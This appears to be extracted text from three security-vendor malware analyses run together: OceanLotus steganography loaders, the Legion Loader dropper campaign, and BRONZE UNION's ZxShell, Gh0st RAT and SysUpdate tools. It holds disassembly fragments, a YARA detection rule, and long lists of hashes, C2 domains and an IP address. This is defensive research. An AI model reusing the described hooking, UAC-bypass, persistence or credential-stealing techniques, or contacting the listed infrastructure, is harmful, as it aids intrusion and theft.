SOFTWARE\Classes\CLSID\{57C3E2E2-C18F4ABF-BAAA-9D17879AB029} Backdoor DLL The backdoor DLL is stored in the .rdata section of the launcher, compressed with LZMA, and encrypted with RC4. The binary is heavily obfuscated with overlapping blocks of garbage code enclosed in pushf/popf instructions. The DllMain function replaces the pointer to GetModuleHandleA API with a pointer to hook routine that will return the base of the backdoor DLL when called with NULL as parameter (instead of returing the handle to the launcher DLL): seg000:015B6B45 loc_15B6B45: seg000:015B6B45 seg000:015B6B4C seg000:015B6B52 seg000:015B6B55 seg000:015B6B58 seg000:015B6B59 seg000:015B6B5B seg000:015B6B5D seg000:015B6B60 seg000:015B6B67 seg000:015B6B6D seg000:015B6B6F seg000:015B6B75 seg000:015B6B78 seg000:015B6B7E seg000:015B6B81 push push push push call test ; CODE XREF: hook_GetModuleHandleA+D [ebp+GetModuleHandleA], 0 eax, GetModuleHandleA [ebp+GetModuleHandleA], eax eax, [ebp+flOldProtect] ; lpflOldProtect PAGE_EXECUTE_READWRITE ; flNewProtect ; dwSize [ebp+GetModuleHandleA] ; lpAddress = 0x168509C GetModuleHandleA [ebp+flOldProtect], 0 ds:VirtualProtect eax, eax ret_0 eax, [ebp+GetModuleHandleA] dword ptr [eax], offset getmodhandle_hook eax, [ebp+flOldProtect] esp, [esp+8+lpflOldProtect] Figure 51. Overwriting GetModuleHandleA pointer OceanLotus Steganography : Malware Analysis White Paper seg000:015B5F50 getmodhandle_hook proc near ; DATA XREF: hook_GetModuleHandleA+58 seg000:015B5F50 seg000:015B5F50 var_20 = dword ptr -20h seg000:015B5F50 var_C = dword ptr -0Ch seg000:015B5F50 var_s0 = dword ptr 0 seg000:015B5F50 lpModuleName = dword ptr 8 seg000:015B5F50 seg000:015B5F50 push seg000:015B5F51 ebp, esp seg000:015B5F53 eax, [ebp+lpModuleName] seg000:015B5F56 test eax, eax seg000:015B5F58 loc_15B5F68 seg000:015B5F5E [ebp+lpModuleName], eax seg000:015B5F61 seg000:015B5F62 ds:GetModuleHandleA_ptr seg000:015B5F68 ; --------------------------------------------------------------------------seg000:015B5F68 seg000:015B5F68 loc_15B5F68: ; CODE XREF: getmodhandle_hook+8 seg000:015B5F68 eax, offset base_addr seg000:015B5F6D ebp, [esp+var_s0] Figure 52. GetModuleHandleA hook The backdoor also contains an export that loads the C2 communication module reflectively to the memory from resource passed as parameter and then calls its CreateInstance export. While we are still in the process of analyzing this backdoor s full functionality, it seems to be similar to the Remy backdoor described in our previous whitepaper on OceanLotus malware. C2 Communication Module This DLL is stored in the launcher s resources and compressed with LZMA. It s also heavily obfuscated, but in a slightly different way than the backdoor. Although it doesn t contain an internal name, we believe it s a variant of HttpProv library, as described in the ESET white paper on OceanLotus. This module is used by the backdoor during HTTP/HTTPS communication with the C2 server and has a proxy bypass functionality. OceanLotus Steganography : Malware Analysis White Paper Appendix Indicators of Compromise (IOCs) Indicator Type Description ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 SHA256 Loader #1 0ee693e714be91fd947954daee85d2cd8d3602e9d8a840d520a2b17f7c80d999 SHA256 Loader #1 a2719f203c3e8dcdcc714dd3c1b60a4cbb5f7d7296dbb88b2a756d85bf0e9c1e SHA256 Loader #1 4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d SHA256 Loader #2 e0fc83e57fbbb81cbd07444a61e56e0400f7c54f80242289779853e38beb341e SHA256 Loader #2 cd67415dd634fd202fa1f05aa26233c74dc85332f70e11469e02b370f3943b1d SHA256 Loader #2 9112f23e15fdcf14a58afa424d527f124a4170f57bd7411c82a8cdc716f6e934 SHA256 Loader #2 ecaeb1b321472f89b6b3c5fb87ec3df3d43a10894d18b575d98287b81363626f SHA256 Loader #2 478cc5faadd99051a5ab48012c494a807c7782132ba4f33b9ad9229a696f6382 SHA256 Loader #2 72441fe221c6a25b3792d18f491c68254e965b0401a845829a292a1d70b2e49a SHA256 Payload PNG (loader #1) 11b4c284b3c8b12e83da0b85f59a589e8e46894fa749b847873ed6bab2029c0f SHA256 Payload PNG (loader #2) d78a83e9bf4511c33eaab9a33ebf7ccc16e104301a7567dd77ac3294474efced SHA256 Payload PNG (loader #2) E:\ProjectGit\SHELL\BrokenSheild\BrokenShieldPrj\Bin\x86\Release\DllExportx86.pdb PDB Path Loader #1 C:\Users\Meister\Documents\Projects\BrokenShield\Bin\x86\Release\BrokenShield.pdb PDB Path Loader #2 kermacrescen.com 7244 stellefaff.com 7244 manongrover.com 7244 background.ristians.com:8888 11b4 enum.arkoorr.com:8531 11b4 worker.baraeme.com:8888 11b4 enum.arkoorr.com:8888 11b4 worker.baraeme.com:8531 11b4 plan.evillese.com:8531 11b4 background.ristians.com:8531 11b4 plan.evillese.com:8888 11b4 SOFTWARE\Classes\CLSID\{E3517E26-8E93-458D-A6DF-8030BC80528B} Registry/ CLSID 7244 SOFTWARE\App\AppX06c7130ad61f4f60b50394b8cba3d35f\Applicationz Registry 7244 SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D17879AB029} Registry/ CLSID 11b4 {79828CC5-8979-43C0-9299-8E155B397281}.dll Internal name 11b4 OceanLotus Steganography : Malware Analysis White Paper Hunting VirusTotal imports: GdipGetImageWidth AND imports: WriteProcessMemory AND imports: GdipCreateBitmapFromFile AND tag:pedll YARA import rule OceanLotus_Steganography_Loader meta: description = OceanLotus Steganography Loader strings: $data1 = .?AVCBC_ModeBase@CryptoPP@@ ascii condition:\ // Must be MZ file uint16(0) == 0x5A4D and // Must be smaller than 2MB filesize < 2MB and // Must be a DLL pe.characteristics & pe.DLL and // Must contain the following imports pe.imports( gdiplus.dll GdipGetImageWidth ) and pe.imports( gdiplus.dll GdipCreateBitmapFromFile ) and pe.imports( kernel32.dll WriteProcessMemory ) and // Check for strings in .data for all of ($data*) : $ in pe.sections[pe.section_index( .data )].raw_data_offset pe.sections[pe.section_index( .data )].raw_data_offset + pe.sections[pe.section_index( .data raw_data_size +1-844-CYLANCE sales@cylance.com www.cylance.com 2019 Cylance Inc. Trademarks, including BLACKBERRY, EMBLEM Design, CYLANCE, and CYLANCEPROTECT are trademarks or registered trademarks of BlackBerry Limited, its affiliates, and/or subsidiaries, used under license, and the exclusive rights to such trademarks are expressly reserved. All other trademarks are the property of their respective owners. 20190328-0195 Untangling Legion Loader s Hornet Nest of Malware deepinstinct.com/2019/12/18/untangling-legion-loaders-hornet-nest-of-malware December 18, 2019 Malware often arrives hand in hand with other malware. Emotet, for example, can deliver TrickBot; and TrickBot (which is also in a collaborative relationship with IcedID, a fellow banking malware) can, in turn, deliver Ryuk. This kind of collaborative relationship is becoming increasingly common among many threat actors, and in some cases even leads to actors developing specific modules in order to serve these relationships. In a recent incident at a customer environment, Deep Instinct prevented a malicious dropper from infecting the customer s environment. Analysis of the dropper and the campaign it is associated with, revealed it involves multiple types of malware. The quantity and variety of which, earned its reference as a Hornet s Nest Included in this campaign is a grab-bag mix of multiple types of info-stealers, backdoors, a file-less crypto-currency stealer built into the dropper, and occasionally a crypto-miner as well. Such volume and variety are uncommon in the general landscape and are highly suggestive of a dropper-for-hire campaign. Caption: The hornet s nest buried within Legion Loader 1/16 The Dropper Legion Loader The dropper, which since our initial prevention events has garnered the name of Legion Loader in various network intrusion and emerging-threats rule-sets, a name we find to be very appropriate. Legion Loader is written in MS Visual C++ 8 (very likely by a Russian speaking individual) and shows signs of being in active development. While Legion Loader features several VM/Sandbox (VMware, VBOX, etc.) and research-tool evasions (Common debuggers, SysInternals utilities, etc.), in many cases it lacks string obfuscation which allows for fairly straightforward analysis. 2/16 Every dropper in the campaign, which is simultaneously targeted at both the United States and Europe, is intended to deliver 2-3 additional malware executables and features a builtin file-less crypto-currency stealer and browser-credential harvester. Once Legion Loader is running, it initially checks-in with its designated C&C server (the servers are rotated frequently, alongside the distributed droppers) and will terminate unless it receives an expected response: 3/16 Caption: Legion Loader s initial C&C check-in. Note the rather distinctive User-Agent string, this can vary to other amusing strings such It will then continue with an external-IP check: And will proceed to download and execute 2-3 hard-coded payloads, which are usually stored by the C&C server and occasionally on a free-hosting resource: Caption: examples of hardcoded payload URLs, targeting US and EU. Once executable payload downloads and execution is complete, Legion Loader will execute a lightly obfuscated PowerShell command that will deliver crypto-currency stealer and browser-credential harvester. 4/16 A Legion of Malware Legion Loader s campaign drew our attention due to the sheer variety of malware it delivers. The majority of this body-of-malware is composed from fairly generic run-of-the-mill infostealers such as Vidar, Predator the Thief and Racoon stealer, which are commercially available in various cybercrime marketplaces. However, several pieces of malware did stand out among Legion Loader s rank-and-file, among these is its built-in Crypto-Currency stealer, and the other an RDP backdoor. The built-in Crypto-Stealer Following payload delivery Legion Loader will execute a PowerShell command (deobfuscated from above): This will send an HTTP POST request containing the string HorseHours , to the file-less component s C&C: The C&C follows-up with more PowerShell code, designed to sweep the system for desirable articles of theft installed cryptocurrency wallets, and stored cryptocurrency related credentials: 5/16 If any of these are found, it will make a copy of the operating system s PowerShell executable to a temp directory or to %programfiles%/Windows Locator/vsdll.exe if it has admin privileges (this is done to circumvent some security mechanisms), and will use it to execute an additional PowerShell snippet, similar to the first, which will again send an HTTP POST request containing HorseHours to the C&C: Following this 2nd check-in, the C&C will issue more PowerShell code that will set-up the stealer. This includes downloading and reflectively loading a .DLL which is used as part of its communication encryption routine: Once the stealer is set-up, it will download and reflectively load a browser credential harvester, the source-code for which can be found on GitHub: 6/16 Finally, the harvested credentials and stolen wallet files are uploaded to the C&C server. The RDP Backdoor Another interesting malware we saw deployed by Legion Loader is an RDP-based backdoor. The backdoor, which arrives in the form of an NSIS installer, employs an embedded blowfish .DLL to decrypt strings which form a cmd.exe command which executes a very large embedded PowerShell script entitled premiumlegitJFSQZPTTEU The embedded premiumlegitJFSQZPTTEU script contains a very large DES encrypted blob which is decrypted and executed: The decrypted code, which employs a code borrowed from Invoke-PsUACme a PowerShell module intended for UAC bypass, contains several gzip-compressed, base64 encoded blobs: 7/16 Caption: $DllBytes32/64 variables containing UACme .DLLs which are used in order to bypass UAC. Caption: gzip-compressed, base64 encoded blobs. $rdp blob is empty in this example. $vmt $clip and $cfg blobs contain various ancillaries which are required in order to set up the RDP backdoor. $bot $bot64 and $rdp64 are the malicious payloads. These blobs are decoded and decompressed using a set of contained functions and are deployed by the PowerShell code to %programfiles%/windows mail/appcache.xml or %/default_list.xml, based on the executing machine s operating system. While the written file s extension is .xml they are actually .DLL files. Caption: contained function react is called to deploy the blob. After the required .DLL containing blob has been deployed, it is registered as a system service: Conclusion Legion Loader is, as mentioned above, very aptly named; and is a classic case-in-point of how even a relatively low-sophistication malware can become a security nightmare for an organization, employing more advanced file-less techniques and delivering a myriad of follow-up malware ranging for info-stealers and credential harvesters to crypto-miners and backdoors. 8/16 IOCs Legion Loader Samples (SHA256) 04682cf5670dfd8095d1fc9da7ff89f939c73a16c4ebe52dbff7afe5f1a8b89f 04cc0ee8b070e54522aa198b72b12498f338795b73ab2505004000b7566474df 08f5c172493ddbec42574914f6b504553029a56bf45b137b319f669348081abe 14d49f41892c667d0984db2809894c6d83c4d3c1cc78f1b81c5dc37a0f8c9c1c 1692b57a111f0269f3660cfddc50ff0e6187c79f73ee3cdcd4f337758e9b40ea 1a8076c2b19d84177f2fc06c3ad712794f5276b221c08dc1545e8f8cd3bbdd2a 1f7f9e40009e8fb16713a2d24039139d7ef910ce8d12b19df16172d01eb6110b 220fc8e1c518c7e51b03269a32cabdd18197ea449d57880fb4c45afebbd15971 2335f67565efe39a2fffd77a7c97996401847620a03091ef328505b8f07b0899 261c1a6e120970efc587047be377fee2ca77884b5c7db4cc3849b6adff340d82 262f5901d5463b9d191893b4873cd9e88d3c87f43e91d1f984d956167c063041 2891b08c134238beeb08582e3465d77c0fff2ac4bf2cd67162b7402b7246ace4 28c16cd88f6453a856690e5e2de96c656c404703361c7a9dfed804ec45dd4391 2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30 2c5266c1053b343bcbd38d7bbfbf4a3b0be3d40b8f57320bed91b5ac26dacf30 2e3fac6fde0e4ea23a1ac808dc11986f62be096971759a36e64b846feb9ddaf9 2f1cb5d0c60b2ab9034ad7ae1ec79e28ddfa5628a90323a013e6285337368dcd 3080858d67dfa757fd27fa4dc3cfd521a8308b8698eeec6fb599fefd7903ef76 32467a0067ea899b925eca0f449f9751973cf1927f7f53df9ef07fa41745bdd1 3933da33446b776c22ea0e84b7cc3e93a122be7960985231027a3be80a068759 3d7442d4210e1422631fb89a19c29f74c75b1bbd8a1355067f8b6d53df8e4e97 40ebd67ff8278c9efc6aa90e9bd4221ed9155369c90ba25bfe699c2d418f6610 9/16 44a7a3f09fec710bf5ce94ae0c1ebf5a1b474d247049cbe5acde33f444ab95c1 474148a9521885361308d9c664ccbfbf523e02d61ee513bdb43e7c94db35eded 477c9070a41e27c715c1edfc75983b08bbd38eed5dbe592e335a59def8805b82 5150c5a557815359e3533781ae58d1c9f270a2f5cfe6353a1a09acb2b651e8d6 54a32aca91c9e377199ac9741b224d5ee09dc4ac67f6177bb4e9f336e5d178b2 62f73e351671b9b17a68f2658a88b810f6595a02e9ef2e55d06fd6fee05932ec 656b988e1b01eb39066d8d91dd5e64b96b75780c5bfb2edad4a9dec21258b01a 6870cd48b741e51187032fb0e3b29171c753cdf781e7585407a900853818bd9a 68ce4c27840a78ddd5d8203d351a2d8951cbe3fc124d8eee4eb9507df9b23355 696985a0b8af5dc318af712c410410c86df46eac80aa15b65e1b9d7a6801b0d6 6a7db2d291545ef2963cc9479406cf412f12d2ffaeed01bf48da7c3f0aa5206c 7308bed122bfdf2e57efa5eabb8191e0d04325d068a9ef731c157df24bb2c053 78d8dc01174f2d53c44b7a560f7ab532c0744136ffa6d9f6e30a09268e4d6214 7bbfeeeaed4234253b93ccd0fee869acbcb3be9cb1619e62e7375c5d072872cf 7f0cfe19a278dcfe60edb4a0b6edf898cf8fabfeda5d24c5bc16ae682c62212a 815fc066119f0ee3e387d4afeade832f43ab67321146258a8cbcddf175089bb3 8272ac4b57a686dea7f56f20703d9be056b2cf2c715e8d9ed475a9f0317acf15 8a213d1ce71dd072d6bbab31fcffdddcef285fe7dbfc04f41b60ad68056f8a95 8d6a289bd8f37b89194948bb1b111660015b7ef59dd3a6956c2ac13f0834b4a8 9443f6eb45bb7531660edc1298dad119a9f3ff117916a9b507dbd5ad568f1598 a880c587076db516f296b727e40c330527f7a2b07c4892f901b372cb2f248fe8 aa5d4c43d1849292d2a89fd32d8ebd8a966a6859a55596563b6dd2e7a3215c18 b80edd66f1e9a3cb3485c311e38b5f419d93c04bcc36d3040f2fc34850fea81c b8c19a4291da50c31ebd6e3eae610440746caa11863229dce9c47c1dc1b56ec8 10/16 bd61ebe590f41655fccfc5edb3f02a62a8ad3cbc0da709a34897a2cf4660dd1f c05d37f585b14c6293d7fb2cde9d96abc2ea9ee4c201cdf81a13bb35e0eee3fb c2fda41eb7326569ada6c4d739ac95ce68092dbf22a28ec8a4eb1751f42f8d9a c3608a8a066986e6881e164051813e1294952eb4eb8beddd2d67880586a00e62 c762b04e5c4f20fe1f0f179e031916e7f91419a8153fc236399430a28955879b ccf6d1b7d47d8357f30411b81b6fb088bd2fb475b28019995889c746f44144b0 d1a5131b0194a2e004fa82a8531548c8b880efd619b7ffe220a132b732878590 d4f2e466297be77e0f8efee83099f3e782877a1cba72c292cfd93d07f760dd5a d536cb602c3bb7ea7bdb70b6a4539ddbbe09ebd374b8bb3e501f6b8ba55af263 d730cc79aa420aa40b17b473ba7630cfbeda2ed8e9545bbbeb9057f208872b18 de0a08996532e8ae19dfcff3f2c2d18a3a54e904cda8c655c6d233afc7eecd12 e2b81bf2379dc693f82312026b420c45b4f3ea914b1272818e990af05d060645 e497bd74a134b10d6bd5385cd59fe4c60758bc5135c970422cb868e6f801ce02 e7bd5233b7284b50cdc40e9f3105d10aca695e5787dece60dfe6a4ffc4f77923 ed459c57355792778c4682671ee2df6e52d1f08ddfc2decab57179346f879eae f1c3649e5f680ba76643e0a83d2769bd55a2933b02ead9020556caf96af26c85 f3806426cc766cc99364e636aaded2933317459ebb78098e27d37203b3f1753d f381e639ebf723b8aea5238545c5b069e59d1c3ea9852dd835f9e783082d1576 f79e1578923cf520bee1183607c65c12a390498f6faea7d3af1d79af6fea26e1 f88a7a17b516505edc21c52756afa1302a3dd03402bf0006ada6472f76d540aa fcc5a956c6a26326d2ef51aa71f9996dc7e5003f332f24619464c5187b3008c2 Dropped Samples (SHA256) 056a2eb3925ea9a3933ed5c8e1b482eae5a098f013b1af751ec9b956edca12e1 0bae194c23b5fe3d73ccdf8267287c6e8fb66ed17cbdcce36c0da7583e8e6b49 11/16 0ce45db58b6f12dc8cfc4d9d94e0ed8f596a9175a804b24817f8b8f24d1ea72e 0ce93f4cb43f21920d1fc0b04122327cc12838ba909d70f58bb58fcc661482c8 0e22f00c71588b2cc1206a01ae11e5cccc70a2cef7d00317be9bd97c73249a3f 0e355775044e0618395724e91820f979fd792149a5c993b74db02d3ca27f18cb 0f12ea3082491a32a67086f12657fcb48d740cab22a568b25eb16635ceb4b9a9 10084850b03a65bc94899e41680e6207ab71c6b96a7bf65f6086fbba41cc7b5c 14494be156326c7c7ca62b7cdf60317e01792136d9fc0c83247a7ee2eeab6c00 1725a07286362ca6cb164b0f297bc4cea0c567d13b477c069ed3cea190e89090 1875678d1097f47c742b09428f570f65a834d1f81e06e336535bfa62633e562c 1c74add22536cd48afd35130b5c8e2904af5485aa0ee46aa9af9cb1793ab3bf4 1e0ca8506a8c6dece660e3508463cb2b4b7609bb8c42307a9ad6605ed5aec62f 2a4108922238e45a94bb7a16fd40db1f5b590ed9ba2f777eb67787488eecb1d7 2a4c9b7f6b74a6bbe80663c9fadb63f31a558ff396a174b75830547657e24dfb 2ddea6aac519844a3c3ea6faaca267b67cbc853b8708a9523d9aedab0e2086b4 3078f6416fb334304ad456b97bc7b2322cc3e9419f4dbbc7d0dd2a6c98be0061 30ee0ef8b2f6820f9a2bfd6622a80c9fa22a9a185a3e453c9393fa9eeaa117be 319fb28bdad36a09e693cc97649670c3fbd39df1cfec4ee20385e23092a97e4c 3a46bc6ba261a1404db05fceec9989912120ad68ecf1b1886134070f94e2246f 3f987e48220a80724d1de41d4bfb1d365ab9986a700f49e8acc7b4d53f5e6471 482c26795c473fd28033bd1009e8315c3df4edb3266742e890b928836e6f08e6 4c09f6650da6686ca72c43e998fbbd2ab0387f666345a0ca40910bf53d0d9927 4c5d3081981d5400f18cecc96489dabb987b8390c36b4ebc447b5cac37bb1a88 4f523cbbce05aaf69ca59aabb554125f9c8dbb44c95d715679516160c949fc23 4f71844ecf1f290983515abb75804e6a6615a37536acbd10f267679feecaa9fd 12/16 562e50801d7359bd5348a9b1d38f325cadb9ab9e298ff89c62e2d999ff826ce5 615626311e5585ca29b9d589fd213e8e1195f9c99c073e5aaf2bda6eeeb896f7 6532098adf0a7e43c46db0cb417a6e319b71764f613821b14ff247c9fb2efee7 69965fc0fb3884998567ec5e1693da58243248d44f9f8db6f11382566c6cd42f 70b636f7d49610856bf6abadb156697bd5e362da4962540133e88586e935c471 7709bb0c90a9cd174687ccf0911ed2ffeee18de4d9b78510a7530034b9141db9 793737c570e27b085ddbcd28c87d22b4ae0d3a6d092357705793cdf9678016cf 7ab3bb1e2783b8ddbb5581cde1cfb97fdf2c105ed0063a08abe2c2255d703315 811bded1035e8073b23470dd3d77ca85385a594a46dabc5892bb878e7148a0ac 84f6be18bb40cb9a3f08186e200492858b3265070629f917aa30d22ae125a712 8b763d5245d522987d5fba368b610147b7b602b0219fc31b6f3a5c90b37c173e 8ff13ca75a4d04587eebf32b66becfe90280690407d00c19eb7aaddc249f83cf 928cea1bc5bf99b0650c2f57133694d017f32c2337ad1fe50688bb3245041659 955ff926d734df2b9c7dd300fcdca0f3f2117b2d82719066a3c06041639c9c03 a153db1039abdc3c53db64939cde3b3da2fc6b04cdb5e02de67ef7ab837e5aac aa2b785cc249d4e41f5133cefbdb3da5484e63a18090fcc70da09dc5f1c7119b abdf3e9c36603953185d9ae75eef134941ab5c2e8407194cfe785cb95e254424 acc572e60a1b438236ed6eed53f1a173e47ca74841f43af30320e6282060dd0a adb47a69e4be076b7c625062fd33ed4d239ce9d5e38f233a6bb5c9b234121458 b165dce18dd17ead4984c506bb9d2861b4ac07775d6223735802e7b372211f80 b198bbc48a4a8bb2d8a393db390e31b317a7b1637215bc9e8e2c2ef2d23bd12f b79a4f6154e462de4de7c78373520d54388c0324d12e3c93dd50d637127efe35 b8db44f047337d9352ea04d6e4029c8817a6b5fc96c3b109e9522d615bc6580e bb39a5762493cd07009fe7495f33099df3d350f484cc0e8242ebdc173a0cf3a9 13/16 bcfb71a0fbebf4dc471e4e4de8a2326eee4cc2676e307a1eb4e0e9f3d254c2ee c6469fa0c5fcdddb53409ac98eca5a315d8230c7dd074437d61c9008d76e7d67 cbca8246cdf5bedad9bf98414211f26b1f46bbfbacd108b52cdb4f1a1a2d1cea cd9fd3eae8fa647d3c10734702e7c8aa812c0ec1e95fb9d54e1dd3900f24be97 d21ebbcbd03f3bd1b185a6d933e6865a63914aacdeed3304610f5180cf9014b2 d3e9a49b228f3f873b95990fac665279b75e17bbf7288c2d5e3d114240d96209 dcf61acaebeac3b4751fbcbc946524cbe709cdfed1b67fe7c4421e889296171d e27a5fe1c99fd2cd91fa0154fbbce0ff0c5d2de363038a839089054b2934dab4 e5372c3eeed59074c6346702c45b8ace7299a42ccce7cb7791b00f9fc8c4ca36 e71579ea4b6f003d359db2c53c224514aec83a70b61a5d3648a7647e4b3d2b81 eb33d6e5f19ae156e179a05382e42c7a5f576cbf73d27edf586d80412c241629 ee0a4e00992382159296ee165789910fc41b1bfebd702a724e783300e72ba027 f1ac98b76aec34e05930c0fe80c89c38edf3cd34657ed17bc414a6dbbd6553c3 f3674f3a2a9e24fba71e0c4db02d150128983d2199c62f3d43e7d2cf3186da93 f8a69b36bd8df897f9cf9895f77b57a98233b5a6819b26ea579efc63dd403a9f faa351658d25453883b47cc1aa6b7e530a375649155a73ed75073fb0b5edb120 fc19702f1749dc163c927d6f2016a71a867f66eb33a77f36beb566366c08c775 ff888f5eeb702d37e899c1d2d5c4b273edcc3e4e35bf8226014f4022fc9121a8 Legion Loader C&C Domains http[:]//4tozahuinya2.info http[:]//craftupdate4.top http[:]//ddtupdate2.top http[:]//fastupdate2.me http[:]//fastupdate2.top 14/16 http[:]//fastupdate4.top http[:]//foxupdate2.me http[:]//gmsmz.top http[:]//kisshit2.info http[:]//lowupdate4.top http[:]//luxurious-crypto.com http[:]//myheroin2.info http[:]//nonstopporno1.info http[:]//ntupdate4.top http[:]//rrudate2.top http[:]//rrudate4.top http[:]//satantraff2.info http[:]//slupdate2.top http[:]//snupdate2.top http[:]//snupdate4.top http[:]//statinstall1.info http[:]//softupdate2.me http[:]//softupdate4.me http[:]//ssdupdate2.top http[:]//sslupdate2.top http[:]//sslupdate4.top http[:]//ssupdating.me http[:]//stnupdate2.me http[:]//suspiria2.info 15/16 http[:]//updateinfo4.top http[:]//upload-stat4.info http[:]//whereismyshit1.info http[:]//zdesnetvirusov2.info Built-in Crypto Stealer C&C Domains http[:]//legion1488.info http[:]//legion17.top http[:]//legion17.net http[:]//legion17.best http[:]//legion17.com http[:]//legion17.info 16/16 A Peek into BRONZE UNION s Toolbox secureworks.com/research/a-peek-into-bronze-unions-toolbox Threat Analysis Wednesday, February 27, 2019 By: Counter Threat Unit Research Team Summary Secureworks Counter Threat Unit (CTU) researchers have tracked the activities of the BRONZE UNION threat group (also known as Emissary Panda, APT 27, and LuckyMouse) since 2013. CTU analysis suggests that BRONZE UNION is located in the People's Republic of China. The threat group has historically leveraged a variety of publicly available and self-developed tools to gain access to targeted networks in pursuit of its political and military intelligence-collection objectives. Breathing new life into old tools In 2018, CTU researchers identified evidence of BRONZE UNION leveraging tools that have been publicly available for years. However, the variants used in 2018 included updated code. ZxShell games In mid-2018, CTU researchers observed BRONZE UNION deploying an updated version of the ZxShell remote access trojan (RAT). ZxShell was developed in 2006 by the persona "LZX", who then publicly released the source code in 2007. Although various threat actors have created different variations of the RAT, the version used by BRONZE UNION in 2018 contained some previously unobserved properties that suggest the threat group's capabilities continue to evolve: The malware embedded the well-known HTran packet redirection tool. The malware was signed with digital certificates that were signed by Hangzhou Shunwang Technology Co., Ltd (Serial: 29 f7 33 6f 60 92 3a f0 3e 31 f2 a5) and Shanghai Hintsoft Co., Ltd. (Serial: 09 89 c9 78 04 c9 3e c0 00 4e 28 43). These certificates are not exclusively used by BRONZE UNION but may indicate BRONZE UNION activity. Figure 1 shows a session captured by Red Cloak where a BRONZE UNION threat actor launched a remote shell using ZxShell. Figure 1. BRONZE UNION threat actor session. (Source: Secureworks) "You look like you've seen a Gh0st RAT" Like ZxShell, publicly available Gh0st RAT source code led to the emergence of several different variants. In a 2018 campaign, BRONZE UNION likely deployed modified Gh0st RAT malware to multiple systems within a compromised environment that were important to the threat actors' objective. When executed with administrator privileges, the Gh0st RAT binary file was written to %System%\FastUserSwitchingCompatibilitysex.dll. The installer then created a Windows service and associated service dynamic link library (DLL) chosen from the names listed in Table 1. Service name DLL installed in %System% Iassex.dll Irmon Irmonsex.dll Nlasex.dll Ntmssvc Ntmssvcsex.dll NWCWorkstation NWCWorkstationsex.dll Nwsapagent Nwsapagentsex.dll SRService SRServicesex.dll Wmisex.dll WmdmPmSp WmdmPmSpsex.dll LogonHours LogonHourssex.dll PCAudit PCAuditsex.dll helpsvc helpsvcsex.dll uploadmgr uploadmgrsex.dll Table 1. Service names and DLLs used by Gh0st RAT. This Gh0st RAT sample communicated with IP address 43 . 242 . 35 . 16 on TCP port 443, although the traffic is a custom binary protocol and not HTTPS. The malware author also modified the standard Gh0st RAT headers to obfuscate the network traffic (see Figure 2). Figure 2. Gh0st RAT network traffic. (Source: Secureworks) Bytes 0-4, which are typically known as the Gh0st RAT "identifier," are randomized in this case. Bytes 5-8 indicate the packet size, and bytes 9-12 indicate the zlib-decompressed packet size. In a departure from previous Gh0st RAT versions, the five bytes at the end of this packet are an XOR key, which must be applied to the packet data before the zlib decompression can be performed. The XOR key is different for each execution of the malware. Once the packet is decoded and decompressed, the data shown in Figure 3 is visible. Figure 3. Decoded Gh0st RAT check-in packet. (Source: Secureworks) The first byte of Figure 3 shows the value 0x66, which is the Gh0st RAT code for "login". After sending the initial phonehome request, Gh0st RAT exchanges 22-byte 'command' packets with its command and control (C2) server. Once again, the first five bytes are randomized and the zlib-compressed part of the packet is XOR-encoded, but the same identifiable structure remains. In the example command packet shown in Figure 4, the first five bytes are the randomized header and the next eight bytes show the compressed and uncompressed size of the data. The XOR key for this packet is 0x7c. Figure 4. Gh0st RAT command packet. (Source: Secureworks) Creating custom solutions In addition to publicly available tools, BRONZE UNION has also used proprietary remote access tools such as SysUpdate and HyperBro since 2016. Despite self-developed tools generally benefitting from lower detection rates than publicly available tools, the threat actors appear to use their own tools more sparingly after securing consistent network access. SysUpdate is a multi-stage malware used exclusively by BRONZE UNION. It has been delivered by multiple methods. In one instance observed by CTU researchers, it was downloaded by a malicious Word document using the Dynamic Data Exchange (DDE) embedded command method. In another incident, the threat actor manually deployed SysUpdate via previously stolen credentials after gaining access to the environment. In a third case, it was delivered via a redirect from a strategic web compromise (SWC). Regardless of the delivery method, the payload is a WinRAR self-extracting (SFX) file that installs the SysUpdate stage 1 payload. The stage 1 payload is responsible for the following tasks: installing the stage 1 malware through DLL search-order hijacking setting up persistence by configuring either a registry Run key (see Figure 5) or an "Own Process" Windows service depending on privileges available at the time of installation contacting a C2 server to retrieve and install a second malware payload Figure 5. SysUpdate user-level Run key. (Source: Secureworks) SysUpdate stage 1 has no capability beyond downloading the second payload file, SysUpdate Main (see Figure 6). Figure 6. SysUpdate stage 1 installation process. (Source: Secureworks) SysUpdate Main employs HTTP communications and uses the hard-coded User-Agent "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36". It downloads a file named m.bin using the HTTP GET method and injects this file into a new svchost.exe process without saving the file to disk. After performing this download, SysUpdate Main reverts to its binary protocol for any additional commands from the C2 server, beaconing every three minutes. The SysUpdate Main file analyzed by CTU researchers included remote access capabilities such as managing files and processes, launching a command shell, interacting with services, taking screenshots, and uploading and downloading additional malware payloads. SysUpdate is flexible malware, as capabilities can be easily introduced and withdrawn by supplying a new payload file. The operator could remove second-stage capabilities at any time and revert to the first stage by supplying a replacement payload file. By withdrawing second-stage payloads when not in use, operators can limit exposure of their full capabilities if the malicious activity is detected. Conclusion BRONZE UNION was one of the most prolific and active targeted threat groups tracked by CTU researchers in 2017 and 2018. The threat actors have access to a wide range of tools, so they can operate flexibly and select tools appropriate for intrusion challenges. During complex intrusion scenarios, the threat actors leverage their proprietary tools, which offer custom functionality and lower detection rates. They appear to prefer using widely available tools and web shells to maintain access to networks over longer periods. After accessing a network, the threat actors are adept at circumventing common security controls, escalating privileges, and maintaining their access to high-value systems over long periods of time. Threat indicators The threat indicators in Table 2 are associated with BRONZE UNION activity. Note that IP addresses can be reallocated. The IP addresses and domains may contain malicious content, so consider the risks before opening them in a browser. Indicator Type Context b7f958f93e2f297e717cffc2fe43f2e9 hash ZxShell installer fa53f09cd22b46b554762dc1a12c99dd692ec681 SHA1 hash ZxShell installer ef049339f1eb091cda335b51939f91e784e1ab1e006056d5a6bb526743b6cbc7 SHA256 hash ZxShell installer 62bcbfae5276064615d0d45b895fdff2 hash ZxShell service DLL (AudioSdk.dll) 9020e5010a916c6187597e9932402ed29098371c SHA1 hash ZxShell service DLL (AudioSdk.dll) 